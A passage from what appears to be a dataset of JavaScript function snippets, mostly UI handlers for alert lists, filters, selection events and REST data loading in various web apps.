object\n * To reslove \"TypeError: 'set' on proxy: trap returned falsish for property\"\n */\n \n let rowData = {};\n rowData.Id = row.Id;\n rowData.Name = row.Name;\n rowData.Alert_Date = row.Alert_Date__c;\n rowData.Primary_Entity_Number = row.Primary_Entity_Number__c;\n rowData.Status = row.Status__c;\n rowData.MoneyLaunderingRiskScore = row.Money_Laundering_Risk_Code__c;\n \n // Account related data\n if (row.Primary_Entity__c) {\n rowData.PrimaryEntityName = row.Primary_Entity__r.Name;\n \n }\n currentData.push(rowData);\n });\n \n this.alertList = currentData;\n }\n })\n .catch(error => {\n \n const event = new ShowToastEvent({\n title: 'Error',\n variant: 'error',\n message: error.body.message,\n });\n this.dispatchEvent(event);\n // reset alert var with null \n this.alertList = null;\n });\n } else {\n // fire toast event if input field is blank\n const event = new ShowToastEvent({\n variant: 'error',\n message: 'Search text missing..',\n });\n this.dispatchEvent(event);\n }\n}","function listaAlertas(){\n\tvar lista = Widget.createController('listaAlertas').getView();\n\tlista.open();\n}","onClickAlertSubscribe() {\n // TODO: Set user as watcher for this alert when API ready\n }","onAlert(id = this.defaultId) {\n return this.subject.asObservable().pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_2__[\"filter\"])(x => x && x.id === id));\n }","onAlert(id = this.defaultId) {\n return this.subject.asObservable().pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_2__[\"filter\"])(x => x && x.id === id));\n }","function refreshFilterAlarmSummaryData(selectedAlarmLevel) {\r\n filterAlarmSummaryDataList = [];\r\n for (var index = 0; index < alarmSummaryDataList.length; index++) {\r\n if ((wemsAlarmSummaryVM.selectedAlarmLevel != wemsAlarmSummaryVM.alarmLevel.all)\r\n && (wemsAlarmSummaryVM.selectedAlarmLevel != alarmSummaryDataList[index].LevelCode)) {\r\n continue;\r\n }\r\n\r\n filterAlarmSummaryDataList.push(alarmSummaryDataList[index]);\r\n }\r\n\r\n showMoreAlarmSummaryData(true);\r\n }","onAlert(id = this.defaultId) {\n return this.subject.asObservable().pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_1__[\"filter\"])(x => x && x.id === id));\n }","function selectedData(event) {\n displayProblems();\n}","setAlertToday(){\n \n var aujourdhui = this.today.toLocaleDateString();\n this.eventsOftheday =[]; // vide le tableau des alertes avant chaque set\n \n for(var eventa of this.events){ // pour chaque date de debut d'event = a la date d'aujourdhui\n if( eventa.datestartevent == aujourdhui ){\n this.addAlertToday(eventa);\n \n }\n \n }\n \n }","function viewDataArray() {\n log('viewDataArray');\n let alertText =\n 'Reviver ID: ' + activeDataItem.reviver_id +\n '\\nTarget: ' + activeDataItem.target +\n '\\nTime: ' + activeDataItem.time +\n '\\nLevel: ' + activeDataItem.level +\n '\\nChance: ' + activeDataItem.chance +\n '\\nCost: ' + activeDataItem.cost +\n '\\nSuccess: ' + activeDataItem.success +\n '\\nRS Start: ' + activeDataItem.rs_start +\n '\\nRS End: ' + activeDataItem.rs_end;\n\n alert(alertText);\n }","alerts() {\r\n return this.request('GET', 'alerts')\r\n .then((data) => (!!data['alerts'] ? data['alerts'] : []).map(Alert.fromJSON));\r\n }","function onChangeAlarmLevelHandler() {\r\n refreshFilterAlarmSummaryData();\r\n }","_onFilterSelected(event) {\n this.filter = event.detail.filter;\n this.render();\n }","filterRestaurants () {\n this.sendAction('filterInit', {\n price: this.get('price'),\n isOpen: this.get('isChecked')\n });\n }","function onShowWemsAlarmSummaryModal() {\r\n showMoreAlarmSummaryData(true);\r\n }","_list() {\n this._listPromise().then((json) => {\n this._alerts = json;\n this._render();\n this._openOnLoad();\n }).catch(errorMessage);\n }","function handleFilterSelected() {\n $('main').on('change', '#filter', function(event) {\n store.filter = $(this).val()\n render();\n })\n}","function updateAlertsList(){\n $( \"#traffic_alerts_list\" ).html(\"\");\n $.each(traffic.alerts, function( index, item ) {\n if ($.inArray(item.type, alertsType) < 0) {\n alertsType.push(item.type); \n }\n if (item.type == 'WEATHERHAZARD'){\n if ($.inArray(item.subtype, WEATHERHAZARD_SubType) < 0) {\n WEATHERHAZARD_SubType.push(item.subtype); \n } \n }\n });\n\n $.each(alertsType, function( index, item ) { \n if (item == 'WEATHERHAZARD'){\n $( \"#traffic_alerts_list\" ).append( \"
  • \" + item + \"
  • \" );\n }else{\n $( \"#traffic_alerts_list\" ).append( \"
  • \" + item + \"
  • \" );\n }\n });\n $('#traffic_alerts_list li').on( 'click', function () {\n specific_alert = $(this).attr('data-to-show');\n $('#title').html('Traffic Alerts ' + specific_alert + ''); \n subtype_alert = \"NO_SUBTYPE\";\n showAlerts(true);\n updateMap();\n });\n\n $.each(WEATHERHAZARD_SubType, function( index, item ) {\n if (item.indexOf(\"HAZARD_ON_ROAD_\") < 0 && item.indexOf(\"HAZARD_ON_SHOULDER_\") < 0 && item.indexOf(\"HAZARD_WEATHER_\") < 0){\n if (item.trim() == \"\"){\n $( \"#traffic_alerts_weatherhazard_list\" ).append( \"
  • NO_SUBTYPE
  • \" );\n }else{\n $( \"#traffic_alerts_weatherhazard_list\" ).append( \"
  • \" + item.substring(0, 20) + \"
  • \" );\n }\n \n }else{\n if (item.indexOf(\"HAZARD_ON_ROAD_\") >= 0){\n var pos = \"HAZARD_ON_ROAD_\".length;\n var li_text = item.substring(pos,item.length);\n $( \"#traffic_alerts_weatherhazard_list\" ).append( \"
  • \" + li_text + \"
  • \" );\n }\n if (item.indexOf(\"HAZARD_ON_SHOULDER_\") >= 0){\n var pos = \"HAZARD_ON_SHOULDER_\".length;\n var li_text = item.substring(pos,item.length);\n $( \"#traffic_alerts_weatherhazard_list\" ).append( \"
  • \" + li_text + \"
  • \" );\n }\n if (item.indexOf(\"HAZARD_WEATHER_\") >= 0){\n var pos = \"HAZARD_WEATHER_\".length;\n var li_text = item.substring(pos,item.length);\n $( \"#traffic_alerts_weatherhazard_list\" ).append( \"
  • \" + li_text + \"
  • \" );\n }\n }\n \n });\n\n $('#traffic_alerts_weatherhazard_list li').on( 'click', function () {\n specific_alert = \"WEATHERHAZARD\";\n subtype_alert = $(this).attr('data-to-show');\n $('#title').html('Traffic Alerts ' + subtype_alert +'');\n showAlerts(true);\n updateMap();\n });\n \n }","function getAlerts() {\n\t$.get(\"/load_charts/get-stats/?threshold=\"+threshold.toFixed(2), function (data){ \n\t\tvar alertJson = JSON.parse(data);\n\t\tupdateAlert(alertJson); \n\t\tupdateStats(alertJson); \n\t});\n}","focus(){\n\n // pass stream of favorite\n // places to knockout observable\n this._filterSub =\n this._placesService\n .favorites()\n .subscribe(favorites => {\n this.places(favorites);\n });\n }","function onLoad() {\r\n onRestore();\r\n $('release-notes').addEventListener('click', onVisitReleaseNotes, false)\r\n $('button-save').addEventListener('click', onSave, false);\r\n $('button-close').addEventListener('click', onClose, false);\r\n $('exclusion-filter-list-add').addEventListener('click', onFilterListAdd, false);\r\n $('exclusion-filter-list-remove').addEventListener('click', onFilterListRemove, false);\r\n $('exclusion-filter-list-remove-all').addEventListener('click', onFilterListRemoveAll, false);\r\n \r\n $('inclusion-filter-list-add').addEventListener('click', onFilterListAdd, false);\r\n $('inclusion-filter-list-remove').addEventListener('click', onFilterListRemove, false);\r\n $('inclusion-filter-list-remove-all').addEventListener('click', onFilterListRemoveAll, false);\r\n \r\n $('visit-extensions').addEventListener('click', onVisitExtension, false);\r\n \r\n exlusionDialog = new DialogController('exclusion-add-filter-dialog');\r\n exlusionDialog.addEventListener('click', onDialogOk);\r\n exlusionDialog.addEventListener('load', onDialogLoad);\r\n exlusionDialog.setTemplate({header: 'Filter Text', ok: 'Add'});\r\n exlusionDialog.init();\r\n \r\n inclusionDialog = new DialogController('inclusion-add-filter-dialog');\r\n inclusionDialog.addEventListener('click', onDialogOk);\r\n inclusionDialog.addEventListener('load', onDialogLoad);\r\n inclusionDialog.setTemplate({header: 'Filter Text', ok: 'Add'});\r\n inclusionDialog.init();\r\n}","chooseData() {\n // ******* TODO: PART I *******\n //Changed the selected data when a user selects a different\n // menu item from the drop down.\n\n }","chooseData() {\n // ******* TODO: PART I *******\n //Changed the selected data when a user selects a different\n // menu item from the drop down.\n\n }","function incidentsContentViewModel() {\r\n var self = this;\r\n self.loadIncident = function (data) {\r\n console.log(data);\r\n history.pushState(null, '', 'index.html?root=incident&id=' + data);\r\n oj.Router.sync();\r\n };\r\n\r\n self.getUrl = function () {\r\n var urlParams = config.url + 'alerts/';\r\n urlParams = urlParams + \"?loc=\" + rootViewModel.currentLocationID();\r\n urlParams = urlParams + \"&type=\" + self.alertType();\r\n urlParams = urlParams + \"&start=\" + self.start;\r\n urlParams = urlParams + \"&end=\" + self.end;\r\n return urlParams;\r\n };\r\n\r\n self.alertType = ko.observable('Temp');\r\n\r\n self.setAlertType = function (alertType) {\r\n console.log(alertType);\r\n self.alertType(alertType);\r\n self.loadData();\r\n };\r\n\r\n self.ready = ko.observable(false);\r\n var rootViewModel = ko.dataFor(document.getElementById('globalBody'));\r\n self.currentLocation = ko.observable();\r\n\r\n self.incidents = ko.observableArray();\r\n self.tempTotal = ko.observable(0);\r\n self.energyTotal = ko.observable(0);\r\n self.otherTotal = ko.observable(0);\r\n\r\n\r\n\r\n\r\n\r\n // self.prod = rootViewModel.prod();\r\n self.prod = true;\r\n\r\n\r\n\r\n /*Load Data*/\r\n self.loadData = function () {\r\n return new Promise(function (resolve, reject) {\r\n\r\n if (self.prod) {\r\n url = self.getUrl();\r\n console.log(url)\r\n } else {\r\n url = 'js/data/mock/incidents.json';\r\n }\r\n\r\n jsonData.fetchData(url).then(function (incidents) {\r\n self.incidents.removeAll();\r\n \r\n if(self.alertType()==='Temp'){\r\n self.tempTotal(incidents.length) \r\n }\r\n \r\n if(self.alertType()==='Energy'){\r\n self.energyTotal(incidents.length) \r\n }\r\n \r\n \r\n self.incidents(incidents);\r\n self.ready(true);\r\n resolve(true);\r\n }).fail(function (error) {\r\n console.log(error);\r\n resolve(false);\r\n });\r\n });\r\n\r\n };\r\n\r\n /*Location Change*/\r\n self.locationChange = ko.computed(function () {\r\n // self.currentLocation(rootViewModel.currentLocationID());\r\n // self.loadData();\r\n });\r\n\r\n self.start = moment().subtract(6, 'days');\r\n self.end = moment();\r\n self.dateText = ko.observable();\r\n\r\n\r\n\r\n self.handleAttached = function () {\r\n $(\"#reportrange\").daterangepicker({startDate: self.start,\r\n endDate: self.end,\r\n ranges: {\r\n 'Today': [moment(), moment()],\r\n 'Yesterday': [moment().subtract(1, 'days'), moment().subtract(1, 'days')],\r\n 'Last 7 Days': [moment().subtract(6, 'days'), moment()],\r\n 'Last 30 Days': [moment().subtract(29, 'days'), moment()],\r\n 'This Month': [moment().startOf('month'), moment().endOf('month')],\r\n 'Last Month': [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]\r\n }\r\n }, self.datePicked);\r\n };\r\n\r\n // $('#reportrange span').html(self.start.format('MMMM D, YYYY') + ' - ' + self.end.format('MMMM D, YYYY'));\r\n\r\n self.datePicked = function (start, end) {\r\n // console.log(moment(start).unix(), moment(end).unix());\r\n self.start = start;\r\n self.end = end;\r\n self.dateText(self.start.format('MMMM D, YYYY') + ' - ' + self.end.format('MMMM D, YYYY'))\r\n self.loadData();\r\n };\r\n\r\n// self.datePicked(self.start, self.end);\r\n self.dateText(self.start.format('MMMM D, YYYY') + ' - ' + self.end.format('MMMM D, YYYY'))\r\n self.loadData();\r\n }","handleReadAlert(alert) {\n }","alertmanagers() {\r\n return this.request('GET', 'alertmanagers');\r\n }","loadStaticActivity(e) {\n \n var myClick = document.getElementById('filterText'); \n myClick.value = e;\n myClick.addEventListener('change',function(){ \n this.store.set({ filter: e })\n }); \n myClick.dispatchEvent(new Event('change'));\n \n }","function popup1() {\nalert(\"Filter text box provides the user to filter out the sessions which respond true for the corresponding user query for which the filter option is being run.\");\n}","function onFilter() {\n \n if(store.fromDate === null || store.toDate === null) {\n return;\n }\n \n el.innerHTML = loader();\n \n store.headers = {\n name: 'Name',\n symbol: 'Symbol',\n avg_price: 'Avg Price',\n volume: 'volume',\n change: 'change %'\n }\n \n setTimeout(function() {\n el.innerHTML = null;\n document.getElementById('filter-message').innerHTML = _filters();\n _renderStocks()\n }, 1000)\n \n \n \n}","function dataRequestFromFilters(filtObj){\n $(\"#filters\").on(\"change\", \"select\", function() {\n $(\".mdl-spinner\").addClass(\"is-active\");\n $.get(filtObj.url, function(data) {\n \n outputFilteredRows(data);\n })\n .always(function() {\n $(\".mdl-spinner\").removeClass(\"is-active\");\n });\n });\n}","function filterHandler(){\n $(\"#filter-btn\").on(\"click\", function(){\n let selection = $(\"#sort\").val();\n if(selection === \"oldest\" || selection === \"newest\" || selection === \"rating\"){\n if(!getIds().length) return;\n let ids = getIds();\n $.get(\"/kimochis/filter\", \n {selection: selection, name: localStorage.getItem(\"inputText\")}, function(data){\n $(\"#main\").html(data);\n $(\"#more-btn\").attr({\"disabled\": false, \"hidden\": false});\n });\n }\n });\n}","componentDidMount() {\n this.onShowPlaceholder()\n // add emitter event listener\n // filter and keep only the ones that are 'downloaded'\n Subscriptions.push(\n mrEmitter.addListener('onUpdateData', (updateData) => {\n // adding selected property to tableData\n let tempData = updateData.filter(this.filterDownloader)\n for (let cData of tempData) {\n cData.selected = false\n }\n this.setState({tableData: tempData})\n this.onShowPlaceholderTimeout = setTimeout(() => {\n this.onShowPlaceholder()\n }, 300)\n }),\n // close the toolbar\n mrEmitter.addListener('onCloseToolbar', () => this.onAllChecked('', false))\n )\n }","function initToolSearch(e){\n\t\t\t//get toggle for sold or unsold listings\n\t\t\tlet toggleNum = 1;\n\t\t\tif(toggle === false){\n\t\t\t\ttoggleNum = - 1;\n\t\t\t}else{\n\t\t\t\ttoggleNum = 1;\n\t\t\t}\n\t\t\tlet searchVal = toolSearch.value.toLowerCase() || '';\n\t\t\ttableBody.innerHTML = '';\n\n\t\t\t//display table data of filtered tools. with event listeners for each element\n\t\t\ttoolData.then( (tools)=>{\n\t\t\ttools.filter( (tool)=>{\n\t\t\t\t//String of all the tool categories to search through for a match\n\t\t\t\tlet name = tool.name.toLowerCase();\n\t\t\t\tlet info = tool.description.toLowerCase();\n\t\t\t\tlet brand = tool.brand.toLowerCase();\n\t\t\t\tlet toolid = tool.id;\n\t\t\t\tlet tool_condition = tool.tool_condition.toLowerCase();\n\t\t\t\tlet toolsInfo = name + ' ' + info + ' ' + brand + ' ' + tool_condition + ' ' + toolid;\n\t\t\t\tif(searchVal !== \"\"){\n\t\t\t\t\treturn toolsInfo.match(searchVal);\n\t\t\t\t}\n\t\t\t\tconsole.log('no input text');\n\t\t\t\treturn tool;\n\t\t\t\t\n\t\t\t}).filter((tools)=>{\n\t\t\t\t//return only not sold tools\n\t\t\t\treturn tools.sold == toggleNum;\n\t\t\t}).map( (tool) => {\n\t\t\t\tif(tool.max_price === '0'){\n\t\t\t\t\ttoolMaxPrice = '';\n\t\t\t\t}else{\n\t\t\t\t\ttoolMaxPrice = ' - ' + tool.max_price;\n\t\t\t\t}\n\t\t\t\ttableBody.innerHTML += `\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t ${tool.name} \n\t\t\t\t\t\t\t\t\t\t ${tool.brand} \n\t\t\t\t\t\t\t\t\t\t ${tool.type} \n\t\t\t\t\t\t\t\t\t\t ${tool.description} \n\t\t\t\t\t\t\t\t\t\t ${tool.tool_condition} \n\t\t\t\t\t\t\t\t\t\t ${tool.price} ${toolMaxPrice}\n\t\t\t\t\t\t\t\t\t\t ${tool.id} \n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t`;\n\t\t\t});\n\t\t}).then(\n\t\t\tfunction(){\n\t\t\t\tfor (var i = update.length - 1; i >= 0; i--) {\n\t\t\t\t\tupdate[i].parentElement.addEventListener('dblclick', dblClickHandleUpdate);\n\t\t\t\t\t//update[i].parentElement.addEventListener('click', handleUpdate);\n\t\t\t\t}\n\t\t\t}\n\t\t);\n\t}","function employeesContentViewModel() {\n var self = this;\n var data = [{name: \"Have Sleep Problems\", shape: \"human\", count: 7, colour: \"#ed6647\"},\n {name: \"Sleep Well\", shape: \"human\", count: 3}];\n\n self.getColor = function (index) {\n return index === 0 ? '#ed6647' : '';\n };\n //self.dataProvider = ko.observableArray(data);\n self.dataProvider = new ArrayDataProvider(data, {keyAttributes: 'value'});\n\n self.handleNestedOpen = function () {\n document.querySelector('#outerDialog').open();\n };\n self.handleOpen = function (event) {\n var ui = event.detail;\n //AnimationUtils['slideIn'](ui.element).then(ui.endCallback);\n document.querySelector('#innerDialog').open();\n };\n self.handleOKClose = function () {\n document.querySelector('#outerDialog').close();\n };\n self.handleOKClose2 = function () {\n document.querySelector('#innerDialog').close();\n };\n\n\n self.fuelTypes = [{name: 'Bio-Diesel', abbr: 'BD'},\n {name: 'Compressed Natural Gas', abbr: 'CNG'},\n {name: 'Electric Charging', abbr: 'ELEC'},\n {name: 'Ethanol', abbr: 'E85'},\n {name: 'Hydrogen & Fuel Cell', abbr: 'HY'},\n {name: 'Liquefied Natural Gas', abbr: 'LNG'},\n {name: 'Liquefied Petroleum Gas', abbr: 'LPG'}\n ];\n\n //self.handleActivated = function (info) {\n self.cityVal = ko.observable('San Jose');\n self.chartType = ko.observable('pie');\n self.selectVal = ko.observableArray(['CA']);\n self.pieSeriesValue = ko.observableArray([]);\n self.groupsValue = ko.observableArray(['Fuel Types']);\n self.seriesValue = ko.observable();\n\n // provide list of states for use in the select pulldown\n self.States = [\n {label: 'ALABAMA', value: 'AL'},\n {label: 'ALASKA', value: 'AK'},\n {label: 'AMERICAN SAMOA', value: 'AS'},\n {label: 'ARIZONA', value: 'AZ'},\n {label: 'ARKANSAS', value: 'AR'},\n {label: 'CALIFORNIA', value: 'CA'},\n {label: 'COLORADO', value: 'CO'},\n {label: 'CONNECTICUT', value: 'CT'},\n {label: 'DELAWARE', value: 'DE'},\n {label: 'DISTRICT OF COLUMBIA', value: 'DC'},\n {label: 'FEDERATED STATES OF MICRONESIA', value: 'FM'},\n {label: 'FLORIDA', value: 'FL'},\n {label: 'GEORGIA', value: 'GA'},\n {label: 'GUAM', value: 'GU'},\n {label: 'HAWAII', value: 'HI'},\n {label: 'IDAHO', value: 'ID'},\n {label: 'ILLINOIS', value: 'IL'},\n {label: 'INDIANA', value: 'IN'},\n {label: 'IOWA', value: 'IA'},\n {label: 'KANSAS', value: 'KS'},\n {label: 'KENTUCKY', value: 'KY'},\n {label: 'LOUISIANA', value: 'LA'},\n {label: 'MAINE', value: 'ME'},\n {label: 'MARSHALL ISLANDS', value: 'MH'},\n {label: 'MARYLAND', value: 'MD'},\n {label: 'MASSACHUSETTS', value: 'MA'},\n {label: 'MICHIGAN', value: 'MI'},\n {label: 'MINNESOTA', value: 'MN'},\n {label: 'MISSISSIPPI', value: 'MS'},\n {label: 'MISSOURI', value: 'MO'},\n {label: 'MONTANA', value: 'MT'},\n {label: 'NEBRASKA', value: 'NE'},\n {label: 'NEVADA', value: 'NV'},\n {label: 'NEW HAMPSHIRE', value: 'NH'},\n {label: 'NEW JERSEY', value: 'NJ'},\n {label: 'NEW MEXICO', value: 'NM'},\n {label: 'NEW YORK', value: 'NY'},\n {label: 'NORTH CAROLINA', value: 'NC'},\n {label: 'NORTH DAKOTA', value: 'ND'},\n {label: 'NORTHERN MARIANA ISLANDS', value: 'MP'},\n {label: 'OHIO', value: 'OH'},\n {label: 'OKLAHOMA', value: 'OK'},\n {label: 'OREGON', value: 'OR'},\n {label: 'PALAU', value: 'PW'},\n {label: 'PENNSYLVANIA', value: 'PA'},\n {label: 'PUERTO RICO', value: 'PR'},\n {label: 'RHODE ISLAND', value: 'RI'},\n {label: 'SOUTH CAROLINA', value: 'SC'},\n {label: 'SOUTH DAKOTA', value: 'SD'},\n {label: 'TENNESSEE', value: 'TN'},\n {label: 'TEXAS', value: 'TX'},\n {label: 'UTAH', value: 'UT'},\n {label: 'VERMONT', value: 'VT'},\n {label: 'VIRGIN ISLANDS', value: 'VI'},\n {label: 'VIRGINIA', value: 'VA'},\n {label: 'WASHINGTON', value: 'WA'},\n {label: 'WEST VIRGINIA', value: 'WV'},\n {label: 'WISCONSIN', value: 'WI'},\n {label: 'WYOMING', value: 'WY'}\n ];\n\n self.getData = function () {\n // using a Promise to allow the chart to render only once the data is available.\n self.seriesValue(new Promise(function (resolve, reject) {\n var url = \"https://api.data.gov/nrel/alt-fuel-stations/v1/nearest.json?location=\" + self.cityVal() + \"+\" + self.selectVal() + \"&api_key=\"\n $.getJSON(url).then(function (data) {\n var fuels = data.station_counts.fuels;\n var seriesData = [];\n for (var prop in fuels) {\n if (fuels[prop].total > 0) {\n seriesData.push({name: getFuelName(prop), items: [fuels[prop].total]})\n }\n }\n resolve(seriesData);\n });\n }))\n };\n\n // get the long name of the fuel type from the abbreviate returned by the REST service\n var getFuelName = function (prop) {\n for (var i in fuelTypes) {\n if (fuelTypes[i].abbr === prop)\n return fuelTypes[i].name;\n }\n }\n //};\n\n\n self.handleAttached = function (info) {\n // once the DOM is available, call the getData to load defaults\n self.getData();\n };\n\n\n }","beforeFirstRender() {\n // this._selectObserver = observe(() => {\n // const entries = Array.from(this.checklistModel.selectedEntries, entry => {\n // console.log(entry.item.name);\n // return entry.item.name;\n // });\n // this._selectedItemsText = entries.join(', ');\n // });\n }","function selectHandler() {\n var selectedItem = chart.getSelection()[0];\n if (selectedItem) {\n var value = data.getValue(selectedItem.row, 0);\n openPopup(value);\n // console.log('The user selected - ' + value);\n }\n }","function getAlert() {\n return randomSelect([true, false]);\n}","function filterChange() {\n updateFilter();\n pullEvents();\n //put events in page\n}","onResultSelected() {\n const result = document.activeElement;\n if (this.ux.results !== result.parentElement)\n return;\n this.publish(\"selectresult\", JSON.parse(result.dataset.d));\n }","function xcustom_makeActionOnObjectSelection() {\r\n var currentSelectedObject = xcustom_getCurrentSelectedObject();\r\n if (null === currentSelectedObject) {\r\n // console.log('Nothing Selected...');\r\n xcustom_resetAndClosePanelSelectedObjectContent();\r\n $('#xcustom-div-right-panel').hide();\r\n return;\r\n }\r\n // console.log('The Selected Object Is : ', currentSelectedObject);\r\n xcustom_showSelectedObjectDataOnViewer(currentSelectedObject);\r\n}","function alertContents() {\n\tif(httpRequest.readyState === 4) {\n\t\tif (httpRequest.status === 200) {\n\t\t\tJSONObj = JSON.parse(httpRequest.responseText);\n\t\t} else {\n\t\t\talert('There was a problem with the request.'); \n\t\t}\n\t}\n\tJSONObj = filter(JSONObj);\n\tgenerateGistList(JSONObj); \n}","function OnSelect(sender: Object, e: RoutedEventArgs) {\n\t\t\ttry {\n\t\t\t\tSelectRow();\n\t\t\t\tDashboardTaskService.Current.CloseTask(runner);\n\t\t\t} catch (ex: Exception) {\n\t\t\t\tConfirmDialog.ShowErrorDialog(\"Script\", ex);\n\t\t\t}\n\t\t}","selectProduct(select) {\n //get products by name\n this.productService.getProductByName(select.option.value).subscribe(data => {\n let product = data.payload.doc.data();\n product[`doc_id`] = data.payload.doc.id;\n //open selected product in modal\n this.openDialog(product);\n this.clearSearch();\n });\n }","function loadPageDealAll(msg) {\n if(!cache.show_capped_alert) {\n return true;\n }\n cache.show_capped_alert = false;\n bootbox.alert({\n closeButton: false,\n message: 'No records are found for \"' + msg + '\".
    Please click Ok to go to see the complete list (All).',\n title: 'Alert',\n callback: function () {\n var AllEle = $(\"#menu_wraper\").find('.item-list-detail:contains(\"All\"):first');\n AllEle.trigger('click');\n }\n });\n }","function showStatus() {\n\n if ((reporteSeleccionado == 13) || (reporteSeleccionado == 14)) {\n\n if (banderas.banderaTodoSeleccionado == 0) {\n if (Calles.length == 0) {\n ngNotify.set('Seleccione al menos una calle', { type: 'error' });\n }\n else {\n modalStatus();\n }\n }\n else if (banderas.banderaTodoSeleccionado == 1) {\n modalStatus();\n }\n }\n }","function filterResult() {\n\t//Add one event listener to the button group and then define what button was clicked depends on the event.target.id\n\t$('.btn-group').on('click', \t\t\t\t\t\t\n\tfunction(event){\n\t\tif (event.target.id === \"all\") {\n\t\t\t$(\".offline\").show(\"slow\");\n\t\t\t$(\".not-exist\").show(\"slow\");\n\t\t\t$(\".online\").show(\"slow\");\n\t\t\t\n\t\t}\n\t\telse if (event.target.id === \"online\") {\n\t\t\t$(\".offline\").hide(\"slow\");\n\t\t\t$(\".not-exist\").hide(\"slow\");\n\t\t\t$(\".online\").show(\"slow\");\n\t\t\t\n\t\t}\n\t\telse {\n\t\t\t$(\".not-exist\").hide(\"slow\");\n\t\t\t$(\".online\").hide(\"slow\");\n\t\t\t$(\".offline\").show(\"slow\");\n\t\t}\n\t});\t\n}","function initAlerts($nyplAlerts, $rootScope, nyplAlertsService) {\n $nyplAlerts.getGlobalAlerts().then(function (data) {\n var alerts = $rootScope.alerts || data;\n $rootScope.alerts =\n nyplAlertsService.filterAlerts(alerts, {current: true});\n $nyplAlerts.alerts = $rootScope.alerts || data;\n }).catch(function (error) {\n throw error;\n });\n }","function viewFilters() {\n let text = '';\n filterArray.forEach(item => (text = text + '\\n\\t' + item));\n let statusText = disabled ? 'disabled' : 'enabled';\n alert('Installed Filters (currently' + statusText + '):' + text);\n}","function initFirstFilter(){\n var firstFilterWrap = getComponent('first-filter');\n var filterArrays = firstFilterWrap.getElementsByTagName('li');\n\n [].forEach.call(filterArrays,function (item) {\n item.addEventListener('click',selected)\n })\n\n function selected(e){\n if(this.firstElementChild.classList.contains('selected')){\n return;\n }\n removeSelected();\n console.log(e);\n this.firstElementChild.classList.add('selected');\n if(this.innerText === 'All'){\n window.firstFilterStatus = 0;\n }else if(this.innerText === 'Active'){\n window.firstFilterStatus = 1;\n }else{\n window.firstFilterStatus = 2;\n }\n update();\n }\n\n function removeSelected(){\n [].forEach.call(filterArrays,function (item) {\n if(item.firstElementChild.classList.contains('selected')){\n item.firstElementChild.classList.remove('selected');\n }\n })\n }\n}","function bindSelect() {\n initializeTimeFunction();\n extent = brush.extent(); //data of selection\n userTimeData = [];\n\n extent.forEach(function (element) {\n var t = String(element.getTime() / 1000 * 1000);\n userTimeData.push(t);\n });\n\n if ($scope.fingerPrintsMode) {\n clearFingerprintHeatmap();\n $scope.showFingerprintHeatmap();\n document.getElementById(\"fingerPrints-mode\").classList.add('quickaction-selected');\n }\n\n if ($scope.radioHeatmapRSSMode) {\n clearFingerprintCoverage();\n $scope.showFingerprintCoverage();\n $scope.radioHeatmapRSSMode = true;\n if (typeof (Storage) !== \"undefined\" && localStorage) {\n localStorage.setItem('radioHeatmapRSSMode', 'YES');\n }\n $scope.anyService.radioHeatmapRSSMode = true;\n document.getElementById(\"radioHeatmapRSS-mode\").classList.add('quickaction-selected');\n }\n }","constructor() {\n riot.observable(this);\n this.listenToSelectedUpdate();\n }","function showSLASummary() {\n\tvar grid = View.panels.get('slaList');\n\tView.controllers.get(0).trigger('app:operation:express:sla:showSLASummaryPopUp',\n\t\t\tgrid.rows[grid.selectedRowIndex].row);\n}","function filterTypeSelection(e){\n if(e.target.value === ''){\n getInventory()\n } else {\n axios.get(`/inventory/search/dept?dept=${e.target.value}`)\n .then(res => setItems(res.data))\n .catch(err => alert(err))\n }\n }","function onShowDetail(element) {\r\n try {\r\n var dataId = jQuery(element).attr('data-id');\r\n\r\n g_currentOperation = dataId;\r\n\r\n if (!dataId || dataId.length <= 0) {\r\n dataId = WotpUtilityCommon.CurrentOperations.None;\r\n }\r\n\r\n //passing the filter info to load detail data\r\n loadDataDetail(dataId);\r\n\r\n } catch (e) {\r\n nlapiLogExecution('ERROR', 'Error during main onShowDetail', e.toString());\r\n }\r\n}","function createAlert() {\n\tvar local_current_hash = 0;\n\n\tif ((local_current_hash = save_search()) != false) {\n\t\t// activation de l'alerte\n\t\tswitch_alert_from_search('', local_current_hash);\n\t\t$('#popupCreateAlert').popup('open');\n\t}\n\telse {\n\t\t$('#popupAlreadyExistsAlert').popup('open');\n\t}\n}","function filterData(data) {\n var regionFilter = typeof(ClientContext)==='object' ? ClientContext.get('profile/region') : ALL_REGIONS;\n var soaIDFilter = typeof(ClientContext)==='object' ? ClientContext.get('/profile/soaId') : ALL_SOAID;\n var pageFilter = alertSelf.attr('data-alert-filter');\n\n var jsonObj = {};\n jsonObj['alerts'] = [];\n\n for (var i=0; i< data.alerts.length; i++) {\n var alertMsg = data.alerts[i];\n\n if ((isInRegion(alertMsg, regionFilter)|| isInSoiID(alertMsg, soaIDFilter))\n && isOnPage(alertMsg, pageFilter)\n && isOnTime(alertMsg))\n {\n jsonObj['alerts'].push({'message' : cleanUpRTEHtmlMarkup(alertMsg.message),\n 'backgroundColor' : alertMsg.backgroundColor,\n 'textColor' : alertMsg.textColor});\n }\n }\n\n return jsonObj;\n }","function refreshProductsView() {\n let filteredProducts = filterByCountryName(products, countrySelect.value);\n filteredProducts = filterByName(filteredProducts, searchInput.value);\n filteredProducts = sortList(filteredProducts, sortSelect.value);\n filteredProducts = filterByRangeOfPrice(filteredProducts, priceRange.value);\n console.log(filterByRangeOfPrice(filteredProducts, priceRange.value));\n\n renderProducts(filteredProducts);\n}","function _eventTableAllNotificationClicked(e)\n{\n\ttry\n\t{\n\t\tif (Alloy.Globals.currentWindow == \"winMyServices\" && (Alloy.Globals.currentWindow != null || Alloy.Globals.currentWindow != undefined))\n\t\t\tAlloy.Globals.arrWindows[Alloy.Globals.arrWindows.length - 1].close();\n\t\t\t\n\t\tvar nTypeId = e.row.nTypeId;\n\t\tif (nTypeId==\"5\"){\n\t\t\tTi.API.info('ASSOCIATED MESSAGE ROW: '+e.row.nTypeIdVal);\n\t\t\t\n\t\t\t/*var userid = Ti.App.Properties.getObject(\"LoginDetaisObj\");\n\t\t\t\tuserid = (Ti.App.Properties.getObject(\"LoginDetaisObj\") == null ? 0 : 